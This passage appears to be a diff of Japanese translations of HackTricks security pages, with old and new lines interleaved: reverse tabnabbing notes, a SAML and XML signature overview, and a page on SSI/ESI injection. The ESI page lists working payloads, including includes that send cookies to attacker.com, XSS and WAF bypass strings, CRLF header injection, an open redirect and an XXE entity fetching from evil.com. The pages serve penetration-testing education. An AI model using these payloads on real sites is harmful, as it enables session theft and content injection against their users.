- **`opener.closed`**:このプロパティは、ウィンドウが閉じられたかどうかを判断するためにアクセスされ、ブール値を返します。
- **`opener.frames`**このプロパティは、現在のウィンドウ内のすべてのiframe要素にアクセスを提供します。
- **`opener.length`**現在のウィンドウに存在するiframe要素の数がこのプロパティによって返されます。
- **`opener.opener`**:現在のウィンドウを開いたウィンドウへの参照をこのプロパティを通じて取得できます。
- **`opener.parent`**:このプロパティは、現在のウィンドウの親ウィンドウを返します。
- **`opener.self`**:このプロパティによって現在のウィンドウ自体にアクセスできます。
- **`opener.top`**:このプロパティは、最上位のブラウザウィンドウを返します。
- **`opener.closed`**: このプロパティはウィンドウが閉じられたかどうかを判断するためにアクセスされ、ブール値を返します。
- **`opener.frames`**: このプロパティは現在のウィンドウ内のすべての iframe 要素へのアクセスを提供します。
- **`opener.length`**: 現在のウィンドウに存在する iframe 要素の数がこのプロパティによって返されます。
- **`opener.opener`**: 現在のウィンドウを開いたウィンドウへの参照はこのプロパティを通じて取得できます。
- **`opener.parent`**: このプロパティは現在のウィンドウの親ウィンドウを返します。
- **`opener.self`**: 現在のウィンドウ自体へのアクセスはこのプロパティによって提供されます。
- **`opener.top`**: このプロパティは最上位のブラウザウィンドウを返します。
ただし、ドメインが同一の場合、悪意のあるサイトは[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScriptオブジェクト参照によって公開されるすべてのプロパティにアクセスできます。
ただし、ドメインが同一の場合、悪意のあるサイトは [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript オブジェクト参照によって公開されているすべてのプロパティにアクセスできます。
# 予防方法
# 予防
予防情報は[HTML5チートシート](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing)に文書化されています。
予防情報は [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing) に文書化されています。
## 参考文献
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,91 +1,93 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# SAML概要
# SAML 概要
**セキュリティアサーションマークアップ言語SAML**は、アイデンティティプロバイダーIdPがサービスプロバイダーSPに認証資格情報を送信するために利用され、シングルサインオンSSOを容易にします。このアプローチにより、複数のログインの管理が簡素化され、複数のウェブサイトで1つの資格情報セットを使用できます。ユーザーの認証とサービスの認可をリンクさせるために、IdPとSPの間で標準化された通信にXMLを活用しています。
**Security Assertion Markup Language (SAML)** は、アイデンティティプロバイダー (IdP) がサービスプロバイダー (SP) に認証情報を送信するために利用され、シングルサインオン (SSO) を促進します。このアプローチは、複数のウェブサイトで単一の認証情報セットを使用できるようにすることで、複数のログインの管理を簡素化します。IdP と SP の間の標準化された通信のために XML を活用し、ユーザーのアイデンティティの認証とサービスの認可をリンクします。
## SAMLとOAuthの比較
## SAML OAuth の比較
- **SAML**は、企業がSSOログインセキュリティをより細かく制御できるように設計されています。
- **OAuth**は、モバイルフレンドリーであり、JSONを使用し、GoogleやTwitterなどの企業の協力によるものです。
- **SAML** は、企業に SSO ログインセキュリティに対するより大きな制御を提供するように設計されています。
- **OAuth** は、よりモバイルフレンドリーで、JSON を使用し、Google や Twitter などの企業の共同作業によるものです。
# SAML認証フロー
# SAML 認証フロー
**詳細については、[https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)から完全な投稿を確認してください**。これは要約です:
**詳細については、[https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)完全な投稿を確認してください**。これは要約です:
SAML認証プロセスには、次のステップが関与します。スキーマで示されている通り
SAML 認証プロセスは、スキーマに示されているように、いくつかのステップを含みます
![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
1. **リソースアクセス試行**ユーザーが保護されたリソースにアクセスしようとします。
2. **SAMLリクエスト生成**SPはユーザーを認識せず、SAMLリクエストを生成します。
3. **IdPへのリダイレクト**ユーザーはIdPにリダイレクトされ、SAMLリクエストがユーザーのブラウザを介して渡されます。
4. **IdPがリクエストを受信**IdPはSAMLリクエストを受信します。
5. **IdPでの認証**IdPがユーザーを認証します。
6. **ユーザーの検証**IdPはユーザーのリクエストされたリソースへのアクセス権を検証します。
7. **SAMLレスポンスの作成**IdPは必要なアサーションを含むSAMLレスポンスを生成します。
8. **SPのACS URLへのリダイレクト**ユーザーはSPのAssertion Consumer ServiceACSURLにリダイレクトされます。
9. **SAMLレスポンスの検証**ACSがSAMLレスポンスを検証します。
10. **リソースアクセスが許可される**:最初にリクエストされたリソースへのアクセスが許可されます。
1. **リソースアクセスの試行**: ユーザーが保護されたリソースにアクセスしようとします。
2. **SAML リクエストの生成**: SP はユーザーを認識せず、SAML リクエストを生成します。
3. **IdP へのリダイレクト**: ユーザーは IdP にリダイレクトされ、SAML リクエストがユーザーのブラウザを通過します。
4. **IdP がリクエストを受信**: IdP は SAML リクエストを受信します。
5. **IdP での認証**: IdP はユーザーを認証します。
6. **ユーザーの検証**: IdP は要求されたリソースにアクセスするユーザーの正当性を検証します。
7. **SAML レスポンスの作成**: IdP は必要なアサーションを含む SAML レスポンスを生成します。
8. **SP の ACS URL へのリダイレクト**: ユーザーは SP のアサーションコンシューマサービス (ACS) URL にリダイレクトされます。
9. **SAML レスポンスの検証**: ACS は SAML レスポンスを検証します。
10. **リソースアクセスの許可**: 最初に要求されたリソースへのアクセスが許可されます。
# SAMLリクエストの例
# SAML リクエストの例
ユーザーがセキュアリソースにアクセスをリクエストするシナリオを考えてみましょう:[https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/)。SPは認証の欠如を特定し、SAMLリクエストを生成します:
ユーザーが [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/) で安全なリソースへのアクセスを要求するシナリオを考えてみましょう。SP は認証がないことを認識し、SAML リクエストを生成します:
```
GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu
...
```
SAMLリクエストの生データは次のようになります:
生のSAMLリクエストは次のようになります
```xml
<?xml version="1.0"?>
<samlp:AuthnRequest ...
</samlp:AuthnRequest>
```
- **AssertionConsumerServiceURL**: IdPがSAMLレスポンスを送信する場所を指定します。
- **Destination**: リクエストが送信されるIdPのアドレスです。
Key elements of this request include:
- **AssertionConsumerServiceURL**: IdPが認証後にSAMLレスポンスを送信すべき場所を指定します。
- **Destination**: リクエストが送信されるIdPのアドレス。
- **ProtocolBinding**: SAMLプロトコルメッセージの送信方法を定義します。
- **saml:Issuer**: リクエストを開始したエンティティを識別します。
SAMLリクエストの生成後、SPは**302リダイレクト**を返し、ブラウザをSAMLリクエストをHTTPレスポンスの**Location**ヘッダにエンコードしてIdPにリダイレクトします。**RelayState**パラメータはトランザクション全体で状態情報を維持し、SPがSAMLレスポンスを受け取った際に初期リソースリクエストを認識するようにします。**SAMLRequest**パラメータは、生のXMLスニペットの圧縮およびエンコードされたバージョンであり、Deflate圧縮とbase64エンコーディングを使用しています。
SAMLリクエストの生成に続いて、SPは**302リダイレクト**で応答し、ブラウザをSAMLリクエストがHTTPレスポンスの**Location**ヘッダーにエンコードされているIdPに向けます。**RelayState**パラメータはトランザクション全体で状態情報を保持し、SPがSAMLレスポンスを受け取った際に最初のリソースリクエストを認識できるようにします。**SAMLRequest**パラメータは、生のXMLスニペットの圧縮およびエンコードされたバージョンで、Deflate圧縮とbase64エンコーディングを用しています。
# SAMLレスポンスの例
# SAML Response Example
[こちらで完全なSAMLレスポンスを見つけることができます](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)。レスポンスの主要なコンポーネントは次のとおりです:
You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). The key components of the response include:
- **ds:Signature**: このセクションはXML署名で、アサーションの発行者の整合性と信頼性を確保します。例のSAMLレスポンスには、メッセージ用とアサーション用の2つの`ds:Signature`要素が含まれています。
- **saml:Assertion**: この部分には、ユーザーのアイデンティティや他の属性に関する情報が含まれています。
- **saml:Subject**: アサーション内のすべてのステートメントの主を指定します。
- **ds:Signature**: このセクションはXML署名で、アサーションの発行者の整合性と真正性を保証します。例のSAMLレスポンスには、メッセージ用とアサーション用の2つの`ds:Signature`要素が含まれています。
- **saml:Assertion**: この部分はユーザーのアイデンティティやその他の属性に関する情報を保持します。
- **saml:Subject**: アサーション内のすべてのステートメントの主要な主体を指定します。
- **saml:StatusCode**: 対応するリクエストに対する操作のステータスを表します。
- **saml:Conditions**: アサーションの有効期間や指定されたサービスプロバイダのような条件の詳細を示します。
- **saml:AuthnStatement**: IdPがアサーションの主を認証したことを確認します。
- **saml:AttributeStatement**: アサーションの主題を記述する属性を含みます。
- **saml:Conditions**: アサーションの有効性のタイミングや指定されたサービスプロバイダーなどの条件を詳細に説明します。
- **saml:AuthnStatement**: IdPがアサーションの主を認証したことを確認します。
- **saml:AttributeStatement**: アサーションの主体を説明する属性を含みます。
SAMLレスポンスの後、IdPからの302リダイレクトが含まれます。これにより、サービスプロバイダのAssertion Consumer ServiceACSURLに対してPOSTリクエストが行われます。POSTリクエストには`RelayState`および`SAMLResponse`パラメータが含まれます。ACSはSAMLレスポンスの処理と検証を担当します。
SAMLレスポンスに続いて、プロセスにはIdPからの302リダイレクトが含まれます。これにより、サービスプロバイダーのアサーションコンシューマサービスACSURLへのPOSTリクエストが行われます。POSTリクエストには`RelayState`および`SAMLResponse`パラメータが含まれます。ACSはSAMLレスポンスの処理と検証を担当します。
POSTリクエストを受け取り、SAMLレスポンスが検証されると、ユーザーが最初にリクエストした保護されたリソースへのアクセスが許可されます。これは、`GET`リクエストが`/secure/`エンドポイントに対して行われ、`200 OK`レスポンスが返されることで示され、リソースへのアクセスが成功したことが示されます。
POSTリクエストが受信され、SAMLレスポンスが検証されると、ユーザーが最初にリクエストした保護されたリソースへのアクセスが許可されます。これは`GET`リクエストを`/secure/`エンドポイントに送り、リソースへの成功したアクセスを示す`200 OK`レスポンスで示されます。
# XML署名
# XML Signatures
XML署名は多目的であり、XMLツリー全体またはその特定の要素に署名することができます。これはレスポンス要素だけでなく、任意のXMLオブジェクトに適用できます。以下に、XML署名の主要なタイプが示されています
XML署名は多用途で、XMLツリー全体またはその中の特定の要素に署名することができます。レスポンス要素だけでなく、任意のXMLオブジェクトに適用できます。以下はXML署名の主要なタイプです。
### XML署名の基本構造
XML署名には、次に示すような基本要素が含まれます:
### Basic Structure of XML Signature
XML署名は、以下のような基本要素で構成されています:
```xml
<Signature>
<SignedInfo>
@ -103,11 +105,13 @@ XML署名には、次に示すような基本要素が含まれます
<Object />
</Signature>
```
Each `Reference` element signifies a specific resource being signed, identifiable by the URI attribute.
### XML署名の種類
1. **封入署名**このタイプの署名は、署名されるリソースの子孫であり、署名は署名されたコンテンツと同じXML構造内に含まれていることを意味します。
1. **包まれた署名**: このタイプの署名は、署名されるリソースの子孫であり、署名は署名されたコンテンツと同じXML構造内に含まれています。
:
```xml
<samlp:Response ... ID="..." ... >
...
@ -123,11 +127,11 @@ XML署名には、次に示すような基本要素が含まれます
</samlp:Response>
```
封入署名では、`ds:Transform`要素が`enveloped-signature`アルゴリズムを介して封入されていることを指定します。
包まれた署名では、`ds:Transform`要素が`enveloped-signature`アルゴリズムを通じて包まれていることを指定します。
2. **包含署名**:封入署名とは対照的に、包含署名は署名されるリソースを包み込みます。
2. **包む署名**: 包まれた署名とは対照的に、包む署名は署名されるリソースを包みます。
:
```xml
<ds:Signature>
<ds:SignedInfo>
@ -142,9 +146,9 @@ XML署名には、次に示すような基本要素が含まれます
</ds:Signature>
```
3. **切り離し署名**:このタイプは、署名されるコンテンツから独立しています。署名とコンテンツは独立して存在しますが、両者の間にリンクが維持されています。
3. **分離署名**: このタイプは、署名するコンテンツとは別です。署名とコンテンツは独立して存在しますが、両者の間にリンクが維持されます。
:
```xml
<samlp:Response ... ID="..." ... >
...
@ -159,7 +163,22 @@ XML署名には、次に示すような基本要素が含まれます
</ds:Signature>
```
XML署名は、異なる構造とセキュリティのニーズを満たすために、柔軟な方法を提供します。
結論として、XML署名はXML文書を保護するための柔軟な方法を提供し、各タイプは異なる構造的およびセキュリティニーズに応じています。
## 参考文献
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# サーバーサイドインクルージョン/エッジサイドインクルージョンインジェクション
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## サーバーサイドインクルージョン基本情報
**(Apacheドキュメントから引用)**
**(Introduction taken from [Apache docs](https://httpd.apache.org/docs/current/howto/ssi.html))**
SSI(サーバーサイドインクルード)は、**HTMLページに配置され、サーバーで評価**されるディレクティブです。これにより、既存のHTMLページに**動的に生成されたコンテンツを追加**することができます。CGIプログラムや他の動的技術を介してページ全体を提供する必要はありません。\
たとえば、次のように既存のHTMLページにディレクティブを配置できます。
SSI (サーバーサイドインクルージョン) は、**HTMLページに配置され、ページが提供される際にサーバー上で評価される指示文**です。これにより、**既存のHTMLページに動的に生成されたコンテンツを追加**することができ、CGIプログラムや他の動的技術を介してページ全体を提供する必要がありません。\
例えば、既存のHTMLページに次のような指示文を配置することができます
`<!--#echo var="DATE_LOCAL" -->`
そして、ページが提供されると、このフラグメントが評価され、その値で置き換えられます。
そして、ページが提供されると、このフラグメントは評価され、その値に置き換えられます:
`Tuesday, 15-Jan-2013 19:28:54 EST`
SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングは、通常、ページのどれだけが静的であり、ページが提供されるたびに再計算する必要があるかにかかっています。SSIは、上記のように現在の時刻などの小さな情報を追加する素晴らしい方法です。ただし、ページの大部分が提供される際に生成される場合は、他の解決策を探す必要があります。
SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングの決定は、通常、ページのどの部分が静的で、どの部分がページが提供されるたびに再計算される必要があるかの問題です。SSIは、上記のように現在の時刻などの小さな情報を追加するのに最適な方法です。しかし、ページの大部分が提供される際に生成される場合は、他の解決策を探す必要があります。
Webアプリケーションが拡張子`.shtml`、`.shtm`、または`.stm`を持つファイルを使用している場合、SSIの存在を推測できますが、これに限られません。
ウェブアプリケーションが拡張子が**`.shtml`、`.shtm`、または`.stm`**のファイルを使用している場合、SSIの存在を推測できますが、それだけではありません。
典型的なSSI式の形式は次のとおりです。
典型的なSSI表現は次の形式を持っています:
```
<!--#directive param="value" -->
```
@ -66,19 +67,19 @@ Webアプリケーションが拡張子`.shtml`、`.shtm`、または`.stm`を
<!--#set var="name" value="Rich" -->
```
## エッジサイドインクルージョン
## Edge Side Inclusion
コンテンツの一部が次回コンテンツが取得される際に異なる可能性があるため、情報や動的アプリケーションをキャッシュする際に問題が発生します。これがESIが使用される理由で、ESIタグを使用してキャッシュバージョンを送信する前に生成する必要がある動的コンテンツを示します。\
攻撃者がキャッシュコンテンツ内にESIタグを挿入できる場合、ユーザーに送信される前にドキュメントに任意のコンテンツを挿入できる可能性があります。
情報を**キャッシュすることや動的アプリケーション**に関する問題があり、コンテンツの一部は次回コンテンツが取得される際に**異なる**可能性があります。これが**ESI**が使用される理由であり、ESIタグを使用して**生成する必要がある動的コンテンツ**を示します。\
もし**攻撃者**がキャッシュコンテンツ内に**ESIタグを注入**できれば、ユーザーに送信される前に文書に**任意のコンテンツを注入**できる可能性があります。
### ESIの検出
### ESI Detection
サーバーからの応答に含まれる次のヘッダーは、サーバーがESIを使用していることを意味します
サーバーからの応答における以下の**ヘッダー**は、サーバーがESIを使用していることを意味します
```
Surrogate-Control: content="ESI/1.0"
```
もしこのヘッダーが見つからない場合、サーバーは**とにかくESIを使用している可能性があります**。\
**ブラインドエクスプロイテーションアプローチも使用できます**。攻撃者のサーバーにリクエストが到着するはずです:
このヘッダーが見つからない場合、サーバーは**それでもESIを使用している可能性があります**。\
**盲目的な悪用アプローチも使用できます**。リクエストは攻撃者のサーバーに到達する必要があります:
```javascript
// Basic detection
hell<!--esi-->o
@ -101,30 +102,30 @@ hell<!--esi-->o
```
### ESIの悪用
[GoSecureが作成した](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) テーブルを使用して、異なるESI対応ソフトウェアに対して試す可能な攻撃を理解することができます。それは、サポートされている機能に応じて次のようになります
[GoSecureが作成した](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)表は、サポートされている機能に応じて、さまざまなESI対応ソフトウェアに対して試すことができる可能性のある攻撃を理解するためのものです。
* **Includes**: `<esi:includes>`ディレクティブをサポート
* **Vars**: `<esi:vars>`ディレクティブをサポート。XSSフィルターをバイパスするのに便利
* **Cookie**: ドキュメントクッキーがESIエンジンからアクセス可能
* **Cookie**: ドキュメントクッキーはESIエンジンにアクセス可能
* **Upstream Headers Required**: 上流アプリケーションがヘッダーを提供しない限り、サロゲートアプリケーションはESIステートメントを処理しない
* **Host Allowlist**: この場合、ESIインクルードは許可されたサーバーホストからのみ可能であり、例えばSSRFはこれらのホストに対してのみ可能
* **Host Allowlist**: この場合、ESIインクルードは許可されたサーバーホストからのみ可能であり、例えばSSRFはこれらのホストに対してのみ可能
| **ソフトウェア** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | はい | はい | はい | はい | いいえ |
| Varnish Cache | はい | いいえ | いいえ | はい | はい |
| Fastly | はい | いいえ | いいえ | いいえ | はい |
| Akamai ESI Test Server (ETS) | はい | はい | はい | いいえ | いいえ |
| NodeJS esi | はい | はい | はい | いいえ | いいえ |
| NodeJS nodesi | はい | いいえ | いいえ | いいえ | オプション |
| :------------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
| NodeJS esi | Yes | Yes | Yes | No | No |
| NodeJS nodesi | Yes | No | No | No | Optional |
#### XSS
次のESIディレクティブは、サーバーのレスポンス内で任意のファイルを読み込みます。
次のESIディレクティブは、サーバーのレスポンス内に任意のファイルをロードします。
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### クライアントのXSS保護をバイパス
#### クライアントXSS保護のバイパス
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
@ -132,14 +133,14 @@ Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
```
#### Cookieの盗み取り
#### クッキーを盗む
* リモートでCookieを盗む
* リモートクッキーを盗む
```xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
* XSSを使用してHTTP\_ONLYクッキーを盗む:レスポンスに反映させる
* XSSを使用してHTTP\_ONLYクッキーを応答に反映させて盗む:
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
@ -155,18 +156,16 @@ Use <!--esi--> to bypass WAFs:
<esi:include src="secret.txt">
```
#### CRLF
CRLFCarriage Return Line Feed
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### オープンリダイレクト
以下は、レスポンスに `Location` ヘッダーを追加します。
以下は、レスポンスに`Location`ヘッダーを追加します。
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
#### ヘッダー追加
#### ヘッダー追加
* 強制リクエストにヘッダーを追加
```xml
@ -174,7 +173,7 @@ CRLFCarriage Return Line Feed
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
* レスポンスにヘッダーを追加しますXSSを含むレスポンスでの "Content-Type: text/json" のバイパスに役立ちます
* レスポンスにヘッダーを追加するXSSを含むレスポンスで「Content-Type: text/json」をバイパスするのに便利
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
@ -182,32 +181,32 @@ CRLFCarriage Return Line Feed
# Check the number of url_decode to know how many times you can URL encode the value
```
#### ヘッダーにCRLFを追加する**CVE-2019-2438)**
#### CRLF in Add header (**CVE-2019-2438**)
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Akamai デバッグ
#### Akamaiデバッグ
これにより、レスポンスに含まれるデバッグ情報が送信されます
これにより、レスポンスに含まれるデバッグ情報が送信されます
```xml
<esi:debug/>
```
### ESI + XSLT = XXE
_dca_ パラメーターの `xslt` 値を指定することで、**`eXtensible Stylesheet Language Transformations (XSLT)`** ベースの ESI を含めることが可能です。このインクルージョンにより、HTTP サロゲートは XML ファイルと XSLT ファイルを取得し、後者が前者をフィルタリングします。このような XML ファイルは _XML External Entity (XXE)_ 攻撃に対して脆弱であり、攻撃者が SSRF 攻撃を実行できるようにします。ただし、このアプローチの有用性は限られています。ESI は既に SSRF ベクトルとして機能しているためです。基礎となる Xalan ライブラリでのサポートがないため、外部 DTD は処理されず、ローカルファイルの抽出が阻止されます。
_dca_ パラメータ `xslt` 値を指定することで、**`eXtensible Stylesheet Language Transformations (XSLT)`** ベースの ESI を含めることが可能です。この含める操作により、HTTP サロゲートは XML および XSLT ファイルを取得し、後者が前者をフィルタリングします。このような XML ファイルは _XML External Entity (XXE)_ 攻撃に利用可能で、攻撃者が SSRF 攻撃を実行できるようにします。しかし、このアプローチの有用性は限られており、ESI 自体がすでに SSRF ベクターとして機能します。基盤となる Xalan ライブラリにサポートがないため、外部 DTD は処理されず、ローカルファイルの抽出が妨げられます。
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
XSLTファイル
XSLTファイル:
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
### XSLTページをチェックしてください
Check the XSLT page:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
@ -224,16 +223,17 @@ XSLTファイル
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからAWSハッキングを学び、ヒーローになりましょう</summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
